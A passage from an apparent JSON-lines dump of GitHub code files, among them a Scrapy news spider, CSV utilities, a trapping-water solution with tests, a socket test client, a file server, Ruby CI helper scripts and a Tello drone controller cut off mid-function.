WangyiSpider(scrapy.Spider):\n name = 'wangyi'\n # allowed_domains = ['www.xxx.com']\n start_urls = ['https://news.163.com/']\n\n url_list = []\n\n # 实例化一个浏览器对象\n def __init__(self):\n self.bro = webdriver.Chrome(executable_path=\"/Users/liuhuan/PycharmProject/python-learn/test/venv/bin/chromedriver\")\n\n def parse(self, response):\n # response.text 输出网页源代码\n # print(response.text)\n # 解析各个板块的url地址\n li_list = response.xpath('//*[@id=\"index2016_wrap\"]/div[2]/div[2]/div[2]/div[2]/div/ul')\n for li in li_list:\n # 国内url\n gn_url = li.xpath('./li[3]/a/@href').extract()[0]\n # 国际url\n gj_url = li.xpath('./li[4]/a/@href').extract()[0]\n # 军事url\n js_url = li.xpath('./li[6]/a/@href').extract()[0]\n # 航空\n air_url = li.xpath('./li[7]/a/@href').extract()[0]\n # print(gj_url, js_url, air_url)\n self.url_list = [gn_url, gj_url, js_url, air_url]\n # print(url_list)\n # 请求每一个模块中的url\n for url in self.url_list:\n yield scrapy.Request(url, callback=self.parse_model)\n\n # 解析每一个模块的标题和详情页的url\n def parse_model(self, response):\n div_list = response.xpath('/html/body/div/div[3]/div[4]/div[1]/div[1]/div/ul/li/div/div')\n for div in div_list:\n # 标题\n title = div.xpath('./div/div[1]/h3/a/text()').extract()\n # 详情url\n detail_url = div.xpath('./div/div[1]/h3/a/@href').extract()[0]\n # print(title, detail_url)\n\n item = NewswyItem()\n item['title'] = title\n\n # 对新闻详情页url发送请求\n yield scrapy.Request(url=detail_url, callback=self.parse_detail, meta={'item': item})\n\n # 对详情页内新闻内容的解析操作\n def parse_detail(self, response):\n content = response.xpath('//*[@id=\"content\"]/div[2]//text()').extract()\n content = ''.join(content).replace(\" \", \"\")\n item = response.meta[\"item\"]\n item[\"content\"] = content\n yield item\n\n # 关闭浏览器\n def closed(self, spider):\n self.bro.quit()\n","repo_name":"lh7758258/python-reptile","sub_path":"006scrapy框架/newsWY/newsWY/spiders/wangyi.py","file_name":"wangyi.py","file_ext":"py","file_size_in_byte":2367,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"23"} +{"seq_id":"11043001863","text":"# coding:utf-8\r\n\r\nimport os\r\nimport re\r\nfrom datetime import datetime\r\n\r\n# /////////////////////////////////////////////////////////////////////////////\r\n# [Csv-file reader/writer] ////////////////////////////////////////////////////\r\n# /////////////////////////////////////////////////////////////////////////////\r\nclass CsvIO:\r\n __header_skipped = False\r\n __list2D = []\r\n header = []\r\n\r\n def __init__(self, header_skipped=False):\r\n self.__header_skipped = header_skipped\r\n\r\n def read(self, file_name, mode='r'):\r\n file_name_del_spc = file_name.strip()\r\n if os.path.isfile(file_name_del_spc):\r\n with open(file_name_del_spc, mode, encoding=\"utf-8\") as f:\r\n for line in f:\r\n if not self.__header_skipped:\r\n self.__header_skipped = True\r\n self.header = line.rstrip().split(',')\r\n continue\r\n line = line.rstrip().split(',')\r\n self.__list2D.append(line)\r\n else:\r\n print (\"Error: No-file\")\r\n return self.__list2D\r\n\r\n def get_column_data(self, header_name, err_msg=\"\"):\r\n tmp = []\r\n count_header = len(self.header)\r\n if count_header == 0:\r\n return tmp\r\n values = list(range(0, count_header))\r\n dct = dict(zip(self.header, values))\r\n index = dct.get(header_name)\r\n for row in self.__list2D:\r\n if row[0] != err_msg:\r\n tmp.append(row[index])\r\n return tmp\r\n\r\n# /////////////////////////////////////////////////////////////////////////////\r\n# [Assertion] /////////////////////////////////////////////////////////////////\r\n# /////////////////////////////////////////////////////////////////////////////\r\ndef AssertEqualValue(x, y):\r\n try:\r\n assert (x == y), (\"expected:[{0}], actual:[{1}]\".format(x,y))\r\n except AssertionError as err:\r\n print (\"AssertionError :\", err)\r\n\r\ndef AssertequalListSize(x, *ys):\r\n try:\r\n for y in ys:\r\n assert (len(x) == len(y)), (\"expected:[{0}], actual:[{1}]\".format(len(x),len(y)))\r\n except AssertionError as err:\r\n print (\"AssertionError :\", err)\r\n\r\n# /////////////////////////////////////////////////////////////////////////////\r\n# [Utils] /////////////////////////////////////////////////////////////////////\r\n# /////////////////////////////////////////////////////////////////////////////\r\ndef GetValueWithDefault(org_value, default_value = \"-1\"):\r\n return default_value if org_value == \"\" else org_value\r\n\r\ndef SortStrNums(values, is_AtoZ=True):\r\n num_expr = \"[0-9]+\"\r\n sign = 1\r\n if is_AtoZ != True:\r\n sign = -1\r\n return sorted(values, key=lambda x:sign*int((re.search(num_expr,x)).group(0)))\r\n\r\ndef ConvertToDate(value):\r\n date_regs = \"\\d{4}-\\d{2}-\\d{2}\"\r\n date_expr = \"%Y-%m-%d\"\r\n return datetime.strptime((re.search(date_regs.value)).group(0),date_expr)\r\n\r\ndef SortStrDates(values, is_AtoZ=True):\r\n lst_values = [ConvertToDate(v) for v in values]\r\n sort_dates = sorted(lst_values)\r\n if is_AtoZ == True:\r\n return sort_dates\r\n else:\r\n return sort_dates[::-1]\r\n\r\ndef DateToStrs(dates):\r\n date_expr = \"%Y-%m-%d\"\r\n return [t.strftime(date_expr) for t in dates]\r\n","repo_name":"svmfbs/AnalyzeMe","sub_path":"csvIO.py","file_name":"csvIO.py","file_ext":"py","file_size_in_byte":3306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"71305211260","text":"import asyncio\nimport json\nimport logging\nimport random\nfrom datetime import date\n\nimport numpy as np\nimport pandas as pd\nfrom tqdm import tqdm\n\nfrom app.backend.db.PostgresController import PostgresController\nfrom data.annotation_cordis.inode_cordis_db_query import gather_annotation_info\nfrom data.annotation_qr2t.annotator_split import create_overlapping_annotations\n\n# logger = logging.getLogger()\n# logger.setLevel(logging.DEBUG)\n\n\n\n\nasync def create_annotation_points(file_path):\n db_controller = PostgresController()\n semaphore = asyncio.Semaphore(5)\n\n df = pd.read_csv(file_path)\n annotation_points = []\n\n for _, datapoint in tqdm(list(df.iterrows()), total=len(df), desc=file_path.split('/')[-1]):\n async with semaphore:\n res = await gather_annotation_info(datapoint['sql_query'], db_controller)\n if res is not None:\n annotation_points.append(\n {\n 'nl_query': datapoint['question'],\n 'inference': res\n }\n )\n\n return annotation_points\n\n\ndef assign_annotators(datapoints, annotators, annot_per_point, start_id_index):\n # Add an id attribute\n for ind, datapoint in enumerate(datapoints):\n datapoint['id'] = ind + start_id_index\n\n # Assign annotators to the overlap portion of the dataset\n # Could be used for evaluation\n overlap_dataset = create_overlapping_annotations(datapoints, annotators, annot_per_point)\n\n return overlap_dataset\n\n\nasync def create_cordis_inode_for_annotation(annotators):\n train_points = await create_annotation_points('storage/datasets/cordis_inode/original/train.csv')\n dev_points = await create_annotation_points('storage/datasets/cordis_inode/original/dev.csv')\n test_points = await create_annotation_points('storage/datasets/cordis_inode/original/test.csv')\n\n dev_points = dev_points + test_points\n\n train_points_with_annotators = assign_annotators(train_points, annotators, 1, 0)\n dev_points_with_annotators = assign_annotators(dev_points, annotators, 3, len(train_points))\n\n for key in train_points_with_annotators:\n dev_points_with_annotators[key] += train_points_with_annotators[key]\n random.shuffle(dev_points_with_annotators[key])\n\n class NpEncoder(json.JSONEncoder):\n \"\"\" Needed to encode dictionary fields with numpy types \"\"\"\n def default(self, obj):\n if isinstance(obj, np.integer):\n return int(obj)\n if isinstance(obj, np.floating):\n return float(obj)\n if isinstance(obj, np.ndarray):\n return obj.tolist()\n if isinstance(obj, date):\n return str(date)\n return super(NpEncoder, self).default(obj)\n\n for annotator, benchmark in dev_points_with_annotators.items():\n with open('storage/datasets/cordis_inode/original/label_studio/not_labelled/' + annotator + '.json', 'w') \\\n as outfile:\n json.dump(benchmark, outfile, cls=NpEncoder)\n\n\nif __name__ == '__main__':\n annotators = [\n \"Stavroula\",\n \"George\",\n \"Chris\",\n \"Katerina\",\n \"Antonis\",\n \"Anna\",\n \"Mike\"\n ]\n\n loop = asyncio.get_event_loop()\n loop.run_until_complete(create_cordis_inode_for_annotation(annotators))\n","repo_name":"athenarc/Data2Text","sub_path":"data/annotation_cordis/cordis_annotation_creation.py","file_name":"cordis_annotation_creation.py","file_ext":"py","file_size_in_byte":3357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"22628586984","text":"import re\n\n# Optional Python 2.x compatibility\n#try: input = raw_input\n#except: pass\n\ntemplate = ''' went for a walk in the park. \nfound a . decided to take it home.'''\n\ndef madlibs(template):\n print('The story template is:\\n' + template)\n fields = sorted(set( re.findall('<[^>]+>', template) ))\n values = input('\\nInput a comma-separated list of words to replace the following items'\n '\\n %s: ' % ','.join(fields)).split(',')\n story = template\n for f,v in zip(fields, values):\n story = story.replace(f, v)\n print('\\nThe story becomes:\\n\\n' + story)\n\nmadlibs(template)\n","repo_name":"acmeism/RosettaCodeData","sub_path":"Task/Mad-Libs/Python/mad-libs.py","file_name":"mad-libs.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":459,"dataset":"github-code","pt":"23"} +{"seq_id":"69915888060","text":"import unittest\n# https://leetcode.com/problems/trapping-rain-water/\n\n\nclass Solution(object):\n def trap(self, height):\n \"\"\"\n :type height: List[int]\n :rtype: int\n \"\"\"\n total_area = 0\n left_index = 0\n right_index = len(height)-1\n max_left = 0\n max_right = 0\n\n while left_index < right_index:\n if height[left_index] <= height[right_index]:\n if height[left_index] >= max_left:\n max_left = height[left_index]\n else:\n total_area += max_left-height[left_index]\n left_index += 1\n else:\n if height[right_index] >= max_right:\n max_right = height[right_index]\n else:\n total_area += max_right-height[right_index]\n right_index -= 1\n\n return total_area\n\n\nclass Tests(unittest.TestCase):\n def test_containerwithmostwater_example1(self):\n solution = Solution()\n self.assertEqual(solution.trap(\n [0, 1, 0, 2, 1, 0, 1, 3, 2, 1, 2, 1]), 6)\n\n def test_containerwithmostwater_example2(self):\n solution = Solution()\n self.assertEqual(solution.trap([4, 2, 0, 3, 2, 5]), 9)\n\n def test_containerwithmostwater_example3(self):\n solution = Solution()\n self.assertEqual(solution.trap([0, 1, 0, 2, 1, 0, 3, 1, 0, 1, 2]), 8)\n\n def test_containerwithmostwater_example4(self):\n solution = Solution()\n self.assertEqual(solution.trap([]), 0)\n\n def test_containerwithmostwater_example5(self):\n solution = Solution()\n self.assertEqual(solution.trap([3, 4, 3]), 0)\n\n def test_containerwithmostwater_example6(self):\n solution = Solution()\n self.assertEqual(solution.trap([3]), 0)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"elchinovzla/dsa","sub_path":"datastructures/arrays/leetcode/trapping_water.py","file_name":"trapping_water.py","file_ext":"py","file_size_in_byte":1873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"73904480059","text":"#!/usr/bin/env python3\nimport argparse\nimport os.path\n#from pathlib import Path, PurePath\nimport socket\nimport json\n\nhost = ''\nport = 1024\ndata_path = '../../../bibifitests'\n\ndef clientSend(data):\n conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n conn.settimeout(30)\n conn.setblocking(True)\n\n conn.connect((socket.gethostname(), port))\n\n\n # Json file has mutiple parts, for now focus on the programs\n print('[*] Client sending program\\n', data)\n\n conn.send(data.encode('utf-8'))\n\n\n result = ''\n try:\n while True:\n tmp = conn.recv(8)\n if tmp == b'':\n break\n result += tmp.decode()\n except Exception as e:\n print(e)\n print('[*] Client received response:', result)\n conn.close()\n\n return result\n\ndef compareResponses( server_response, expected_response):\n err_base = \"Command \" + \"| Responses don't match: \"\n if len(server_response) != len(expected_response):\n print(err_base + \"different line numbers\")\n print('expected:', expected_response)\n print('received:', server_response)\n return False\n if server_response != expected_response:\n print('expected:', expected_response)\n print('received:', server_response)\n return False\n # for i in range(0, len(server_response)):\n # if expected_response[i]['status'] != server_response[i]['status']:\n # print(err_base + \"statuses\")\n # print(\"Line \" + str(i) + \". Got: \"+ server_response[i]['status'] +\n # \" expected \" + expected_response[i]['status'])\n # return False\n # if expected_response[i].status == \"RETURNING\":\n # if expected_response[i].output != server_response[i].output:\n # print(err_base + \"output doesn't match\")\n # print(\"Got \" + str(server_response[i]['output']) + \" expected \" +\n # str(expected_response[i]['output']))\n # return False\n print(\"Responses match\")\n return True\n\n\ndef sendFromFile(testfile):\n\n if os.path.isfile(testfile):\n #if Path.is_file(testfile):\n with open(testfile, \"r\") as jsonFile:\n data = jsonFile.read()\n\n try:\n #NOTE : here u can specify what exact part of test u want to run\n #just append [-1:] - will run last testcase from file\n programms = json.loads(data)['programs']\n for program in programms:\n response = clientSend(program['program'])\n response = response.split('\\n')[:-1]\n response_json = [json.loads(res) for res in response]\n if not compareResponses(response_json, program['output']):\n print('NOT MATCH')\n return\n except Exception as e:\n print('expect')\n print(e)\n raise\n else:\n print('File does not exist: ', testfile)\n\n\nif __name__ == '__main__':\n # Parse the command lines. Expect a port followed by a data folder path\n cmd_parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter)\n cmd_parser.add_argument('-p', type=int, dest=\"port\", default=1024)\n cmd_parser.add_argument('-d', type=str, dest=\"data_path\", default=data_path, required=False)\n cmd_parser.add_argument('-m', type=str, dest=\"manualprogram\", required=False)\n #cmd_parser.add_argument('-a', dest='run_all', action='store_true')\n args = cmd_parser.parse_args()\n\n port = args.port\n data_path = args.data_path\n manualprogram = args.manualprogram\n if manualprogram:\n manualprogram = manualprogram.replace(\"\\\\n\", \"\\n\")\n #run_all = args.run_all\n\n print('Using port %d with data path of: %s' % (port, data_path))\n\n if manualprogram is not None:\n print(\"sending manual program...\")\n print(\"program: \", manualprogram)\n clientSend(manualprogram)\n else:\n print('test file mode..')\n while True:\n select = input('Enter File Name or type exit:')\n if select == 'exit':\n exit()\n print(select)\n test_file = os.path.join(os.path.dirname(__file__), data_path, select)\n if not test_file.endswith(\".json\"):\n test_file += \".json\"\n sendFromFile(test_file)\n\n\n\n","repo_name":"lino76/MrRobot","sub_path":"fix/code/build/vault/network/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":4403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"34125630849","text":"from fastapi import FastAPI, HTTPException\nfrom configuration import getModel\nimport schemas\n\napp = FastAPI()\nmodelFile = open(\"model.pkl\", 'rb')\npredictModel = getModel(modelFile).model()\n\n@app.post(\"/predict'\")\ndef predict(request:schemas.Iris):\n try:\n predictmodel = predictModel.predict([[\n request.sepal_length, \n request.sepal_width, \n request.petal_length, \n request.petal_width\n ]])\n return {\"Predict\": str(predictmodel[0])}\n except:\n raise HTTPException(status_code=404)\n","repo_name":"alantellecom/lab_pipeline_dados_airflow-docker-compose","sub_path":"dags/deployApi/apiIris/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"72081504059","text":"import numpy as np\nimport pandas as pd\nfrom sklearn import preprocessing\n\nfrom utils.model_helper import load_pickle_model\n\n\ndef prepare_test_data(df, num_features, class_feature):\n y = df[class_feature].to_numpy()\n\n min_max_scaler = preprocessing.MinMaxScaler()\n X = min_max_scaler.fit_transform(df.drop([class_feature], axis=1))\n\n inputs = [np.reshape(x, (num_features, 1)) for x in X]\n labels = [label - 1 for label in y]\n return zip(inputs, labels)\n\n\nif __name__ == \"__main__\":\n path_to_data = \"../data/raw/user_actions\"\n df_test = pd.read_csv(f\"{path_to_data}/test_processed_2.csv\", sep=\"\\t\")\n df_test = df_test.drop([\"user_id\", \"timestamp\"], axis=1)\n test_set = prepare_test_data(df_test, 14, \"action\")\n\n net = load_pickle_model(\"../models/model.pickle\")\n acc, cost = net.evaluate(test_set, [\"acc\", \"cost\"])\n\n print(\"Test performance:\")\n print(f\"\\tAcc: {acc}\")\n print(f\"\\tCost: {cost}\")\n","repo_name":"jmetzz/ml-laboratory","sub_path":"basic_ml/src/neural_networks/examples/next_user_action_prediction.py","file_name":"next_user_action_prediction.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"4294109288","text":"from . import file_utils as fs\nfrom .content_list import ContentList\nfrom .event import EventQueue\nfrom .file_utils import ensure_folder_exists\nfrom .model import ServerException, Response\nfrom threading import Thread\nfrom os.path import join, isfile\nimport time\n\nclass Server(Thread):\n\n def __init__(self, instance_no, disk_path):\n super(Server, self).__init__(name=\"Server {}\".format(instance_no))\n self.disk_path = disk_path\n self._content = ContentList(join(disk_path, 'list.json'))\n self._get_new_task = None\n\n def set_queue_access_method(self, get_new_task):\n self._get_new_task = get_new_task\n\n def has_user_file(self, username, path):\n return self._content.has_user_file(username, path)\n\n @staticmethod\n def packCall(username, func, args, kwargs, set_result_func):\n return Server.ServerMethodCall(username, func, args, kwargs, set_result_func)\n\n def run(self):\n if self._get_new_task == None:\n raise Exception()\n while True:\n methodCall = self._get_new_task()\n print(\"{} receives event.\".format(self.name))\n try:\n result = methodCall.func(self, *methodCall.args, **methodCall.kwargs)\n self._sleep()\n methodCall.set_result_func(result, resultIsException = False)\n except Exception as exception:\n self._sleep()\n methodCall.set_result_func(exception, resultIsException = True)\n\n def get_file(self, username, path):\n try:\n file_path = fs.assemble_path(self.disk_path, username, path)\n return fs.read(file_path)\n except FileNotFoundError:\n raise ServerException(404, \"File not found\")\n except IsADirectoryError:\n raise ServerException(400, \"Path is directory. Getting directory not supported.\")\n \n def create_empty_file(self, username, path):\n try:\n user_path = join(self.disk_path, username)\n ensure_folder_exists(user_path)\n file_path = join(user_path, path)\n fs.create_empty(file_path)\n self._content.register_file(username, path, file_path)\n return Response()\n except FileExistsError:\n raise ServerException(400, \"File currently exists.\")\n\n def move_file(self, username, src_path, dest_path):\n try:\n src_file_path = fs.assemble_path(self.disk_path, username, src_path)\n dest_file_path = fs.assemble_path(self.disk_path, username, dest_path)\n fs.move(src_file_path, dest_file_path)\n self._content.file_moved(username, src_path, dest_path, dest_file_path)\n return Response()\n except FileNotFoundError:\n raise ServerException(404, \"Source file not found\")\n except FileExistsError:\n raise ServerException(400, \"File exists in destination directory\")\n except IsADirectoryError:\n raise ServerException(400, \"Path is directory. Moving directory not supported.\")\n\n def modify_file_content(self, username, path, content):\n try:\n file_path = fs.assemble_path(self.disk_path, username, path)\n if not isfile(file_path):\n self.create_empty_file(username, path)\n \n fs.change_content(file_path, content)\n self._content.file_modified(username, path)\n return Response()\n except FileNotFoundError:\n raise ServerException(404, \"File not found\")\n except IsADirectoryError:\n raise ServerException(400, \"Path is directory. Change content of directory not supported.\")\n\n def delete_file(self, username, path):\n try:\n file_path = fs.assemble_path(self.disk_path, username, path)\n fs.delete(file_path)\n self._content.file_deleted(username, path)\n return Response()\n except FileNotFoundError:\n raise ServerException(404, \"File currently not exists\")\n\n def _sleep(self):\n import random\n time.sleep(random.randint(1, 15))\n\n class ServerMethodCall:\n def __init__(self, username, func, args, kwargs, set_result_func):\n self.username = username\n self.func = func\n self.args = args\n self.kwargs = kwargs\n self.set_result_func = set_result_func\n","repo_name":"wojteksz128/mpw-dropbox-server","sub_path":"server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":4403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"23286098312","text":"from django.conf import settings\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponseBadRequest\nfrom django.shortcuts import render, get_object_or_404\n\nfrom forum.models import Question, Answer\n\n\n@login_required\ndef view_partial_post_comments(request, post_type: str, post_pk: int):\n if post_type == \"question\":\n item = get_object_or_404(Question, pk=post_pk)\n elif post_type == \"answer\":\n item = get_object_or_404(Answer, pk=post_pk)\n else:\n return HttpResponseBadRequest(\"Post type not recognizable\")\n num_comments = item.comments.count()\n return render(\n request,\n \"main/includes/partial.thread.comments.template.html\",\n {\n \"item\": item,\n \"num_comments\": num_comments,\n \"max_comments\": settings.MAX_COMMENTS,\n \"model\": post_type,\n \"comments\": item.comments.all(),\n },\n )\n","repo_name":"dsoftwareinc/wiwik","sub_path":"forum/forum/views/thread_views/view_partial_comments.py","file_name":"view_partial_comments.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"23"} +{"seq_id":"10673576013","text":"import os\nfrom ci_scripts.common import process_call\n\n\ndef make_sure_in_path():\n \"\"\"\n Makes sure the ruby paths are in the system's PATH\n :return: None\n \"\"\"\n gemdir = os.path.join(os.path.expanduser(\"~\"), \".gem\")\n rubydir = os.path.join(gemdir, \"ruby\")\n for version in os.listdir(rubydir):\n ruby_path = os.path.join(rubydir, version, \"bin\")\n os.environ[\"PATH\"] += \":\" + ruby_path\n os.environ[\"PATH\"] += \":\" + os.path.join(gemdir, \"bin\")\n\n\ndef install_gem(gem: str):\n \"\"\"\n Installs a gem\n :param gem: The gem to install\n :return: None\n \"\"\"\n make_sure_in_path()\n process_call([\"gem\", \"install\", gem])\n\n\ndef rubocop_test():\n \"\"\"\n Tests the style of the ruby project using rubocop\n :return: None\n \"\"\"\n install_gem(\"rubocop\")\n process_call([\"rubocop\"])\n\n\ndef rdoc():\n \"\"\"\n Creates documentation using rdoc and rsync it for use in progstats\n :return: None\n \"\"\"\n install_gem(\"rdoc\")\n process_call([\"rdoc\", \"--exclude=virtual\"])\n\n destination = os.environ[\"PROGSTATS_DATA_PATH\"]\n project = os.environ[\"CI_PROJECT_NAME\"]\n dest = os.path.join(destination, \"doc_html\", project)\n\n process_call([\"rsync\", \"-a\", \"--delete-after\", \"doc/\", dest])\n\n\ndef gem_build():\n \"\"\"\n Builds gem for project\n :return: None\n \"\"\"\n if not os.path.isdir(\"artifacts\"):\n os.mkdir(\"artifacts\")\n\n project = os.environ[\"CI_PROJECT_NAME\"]\n\n process_call([\"gem\", \"build\", project + \".gemspec\"])\n\n for child in os.listdir(\".\"):\n if child.endswith(\".gem\"):\n os.rename(child, os.path.join(\"artifacts\", child))\n\n\ndef gem_publish():\n \"\"\"\n Publishes a gem\n :return: None\n \"\"\"\n gemdir = os.path.join(os.path.expanduser(\"~\"), \".gem\")\n if not os.path.isdir(gemdir):\n os.mkdir(gemdir)\n\n cred_file = os.path.join(gemdir, \"credentials\")\n with open(cred_file, \"w\") as f:\n f.write(os.environ[\"RUBYGEMS_CREDENTIALS\"])\n process_call([\"chmod\", \"0600\", cred_file])\n\n for gemfile in os.listdir(\"artifacts\"):\n if gemfile.endswith(\".gem\"):\n process_call([\"gem\", \"push\", os.path.join(\"artifacts\", gemfile)])\n\n os.remove(cred_file)\n","repo_name":"namboy94/ci-scripts","sub_path":"ci_scripts/ruby.py","file_name":"ruby.py","file_ext":"py","file_size_in_byte":2190,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"23"} +{"seq_id":"24713288564","text":"# coding=utf-8\nimport logging, socket , cv2\nfrom time import time , sleep\nfrom threading import Thread\nfrom .utils import *\nfrom os import _exit , system\nfrom asyncio import sleep as _sleep\n\n\nclass Tello: \n UDP_IP = '192.168.10.1'\n UDP_PORT = 8889\n RESPONSE_TIMEOUT = 7 # in seconds\n TIME_BTW_COMMANDS = 2 # in seconds\n TIME_BTW_RC_CONTROL_COMMANDS = 1.5 # in seconds\n RETRY_COUNT = 3\n last_received_command = time()\n HANDLER = logging.StreamHandler()\n FORMATTER = logging.Formatter('%(filename)s - %(lineno)d - %(message)s')\n HANDLER.setFormatter(FORMATTER)\n LOGGER = logging.getLogger('sajjad')\n LOGGER.addHandler(HANDLER)\n LOGGER.setLevel(logging.INFO)\n VS_UDP_IP = '0.0.0.0'\n VS_UDP_PORT = 11111\n STATE_UDP_PORT = 8890\n cap = None\n background_frame_read = None\n stream_on = False\n is_flying = False\n is_connected = False\n # Tello state\n pitch = -1\n roll = -1\n yaw = -1\n speed_x = -1\n speed_y = -1\n speed_z = -1\n temperature_lowest = -1\n temperature_highest = -1\n distance_tof = -1\n height = -1\n battery = -1\n barometer = -1.0\n flight_time = -1.0\n acceleration_x = -1.0\n acceleration_y = -1.0\n acceleration_z = -1.0\n attitude = {'pitch': -1, 'roll': -1, 'yaw': -1}\n \n def __init__(self,host: str ='192.168.10.1',port: int=8889,enable_exceptions: bool =True,retry_count : int=3 , debug : bool = True,clear : bool = False):\n if clear:\n system(\"clear\")\n else:\n print(\"\\n\"*3)\n self.clientSocket = None\n self.clientSocket = None\n self.address = (host, port)\n self.response = None\n self.response_state = None # to attain the response of the states\n self.stream_on = False\n self.enable_exceptions = enable_exceptions\n self.retry_count = retry_count\n self.debug = debug\n \n \n def run_udp_receiver(self):\n while self.is_connected:\n try:\n self.response, _ = self.clientSocket.recvfrom(1024) # buffer size is 1024 bytes\n except Exception as e:\n if self.debug and self.is_connected: self.LOGGER.error(e)\n break\n\n def get_states(self):\n while self.is_connected:\n try:\n self.response_state, _ = self.stateSocket.recvfrom(256)\n if self.response_state != 'ok':\n self.response_state = self.response_state.decode('ASCII')\n list = self.response_state.replace(';', ':').split(':')\n self.pitch = int(list[1])\n self.roll = int(list[3])\n self.yaw = int(list[5])\n\n \n self.speed_x = int(list[7])\n self.speed_y = int(list[9])\n self.speed_z = int(list[11])\n self.temperature_lowest = int(list[13])\n self.temperature_highest = int(list[15])\n self.distance_tof = int(list[17])\n self.height = int(list[19])\n self.battery = int(list[21])\n self.barometer = float(list[23])\n self.flight_time = float(list[25])\n self.acceleration_x = float(list[27])\n self.acceleration_y = float(list[29])\n self.acceleration_z = float(list[31])\n self.attitude = {'pitch': int(list[1]), 'roll': int(list[3]), 'yaw': int(list[5])}\n except Exception as e:\n if self.debug and self.is_connected:\n self.LOGGER.error(e)\n self.LOGGER.error(f\"Response was is {self.response_state}\")\n break\n\n def get_udp_video_address(self):\n return 'udp://' + self.VS_UDP_IP + ':' + str(self.VS_UDP_PORT) # + '?overrun_nonfatal=1&fifo_size=5000'\n\n def get_video_capture(self):\n if self.cap is None:\n self.cap = cv2.VideoCapture(self.get_udp_video_address())\n\n if not self.cap.isOpened():\n self.cap.open(self.get_udp_video_address())\n\n return self.cap\n\n def get_frame_read(self):\n if not self.stream_on :\n self.streamon()\n if self.background_frame_read is None:\n self.background_frame_read = BackgroundFrameRead(self, self.get_udp_video_address()).start()\n return self.background_frame_read\n\n def stop_video_capture(self):\n return self.streamoff()\n\n @accepts(command=str, timeout=int)\n def send_command_with_return(self, command, timeout=RESPONSE_TIMEOUT):\n diff = time() * 1000 - self.last_received_command\n if diff < self.TIME_BTW_COMMANDS:\n sleep(diff)\n\n if self.debug:\n self.LOGGER.info('Send command: ' + command)\n timestamp = int(time() * 1000)\n\n self.clientSocket.sendto(command.encode('utf-8'), self.address)\n\n while self.response is None:\n if (time() * 1000) - timestamp > timeout * 1000:\n if self.debug : self.LOGGER.warning('Timeout exceed on command ' + command)\n return False\n\n try:\n response = self.response.decode('utf-8').rstrip(\"\\r\\n\")\n except UnicodeDecodeError as e:\n if self.debug and self.is_connected: self.LOGGER.error(e)\n return None\n\n if self.debug:\n self.LOGGER.info(f'Response {command}: {response}')\n\n self.response = None\n\n self.last_received_command = time() * 1000\n return response\n\n\n\n\n\n\n @accepts(command=str, timeout=int)\n async def _send_command_with_return(self, command, timeout=RESPONSE_TIMEOUT):\n diff = time() * 1000 - self.last_received_command\n if diff < self.TIME_BTW_COMMANDS:\n await _sleep(diff)\n\n if self.debug:\n self.LOGGER.info('Send command: ' + command)\n timestamp = int(time() * 1000)\n\n self.clientSocket.sendto(command.encode('utf-8'), self.address)\n\n while self.response is None:\n if (time() * 1000) - timestamp > timeout * 1000:\n if self.debug : self.LOGGER.warning('Timeout exceed on command ' + command)\n return False\n\n try:\n response = self.response.decode('utf-8').rstrip(\"\\r\\n\")\n except UnicodeDecodeError as e:\n if self.debug and self.is_connected: self.LOGGER.error(e)\n return None\n\n if self.debug:\n self.LOGGER.info(f'Response {command}: {response}')\n\n self.response = None\n\n self.last_received_command = time() * 1000\n return response\n\n @accepts(command=str)\n def send_command_without_return(self, command):\n self.clientSocket.sendto(command.encode('utf-8'), self.address)\n if self.debug :\n self.LOGGER.info('Send command (no expect response): ' + command)\n\n @accepts(command=str, timeout=int)\n def send_control_command(self, command, timeout=RESPONSE_TIMEOUT):\n response = None\n for i in range(self.retry_count):\n response = self.send_command_with_return(command, timeout=timeout)\n if response == 'OK' or response == 'ok':\n return True\n return self.return_error_on_send_command(command, response, self.enable_exceptions)\n \n\n @accepts(command=str, timeout=int)\n async def _send_control_command(self, command, timeout=RESPONSE_TIMEOUT):\n response = None\n for i in range(self.retry_count):\n response = await self._send_command_with_return(command, timeout=timeout)\n if response == 'OK' or response == 'ok':\n return True\n return self.return_error_on_send_command(command, response, self.enable_exceptions)\n\n\n\n @accepts(command=str,)\n def send_read_command(self, command):\n response = self.send_command_with_return(command)\n\n try:\n response = str(response)\n except TypeError as e:\n if self.debug and self.is_connected: self.LOGGER.error(e)\n\n if ('error' not in response) and ('ERROR' not in response) and ('False' not in response):\n if response.isdigit():\n return int(response)\n else:\n try:\n return float(response) # isdigit() is False when the number is a float(barometer)\n except ValueError:\n return response\n else:\n return self.return_error_on_send_command(command, response, self.enable_exceptions)\n\n def return_error_on_send_command(self, command, response, enable_exceptions):\n msg = 'Command ' + command + ' was unsuccessful. Message: ' + str(response)\n if enable_exceptions:\n raise Exception(msg)\n else:\n if self.debug:\n self.LOGGER.error(msg)\n return False\n \n\n def checker(self) :\n def check(key):\n if \"name\" in dir(key):\n if key.name == \"esc\" :\n if self.is_connected:\n self.end()\n print(\"bye\")\n _exit(0)\n else:\n if key.char == \"q\" :\n if self.is_connected:\n self.end()\n print(\"bye\")\n _exit(0)\n with Listener(on_press = check) as listener: \n 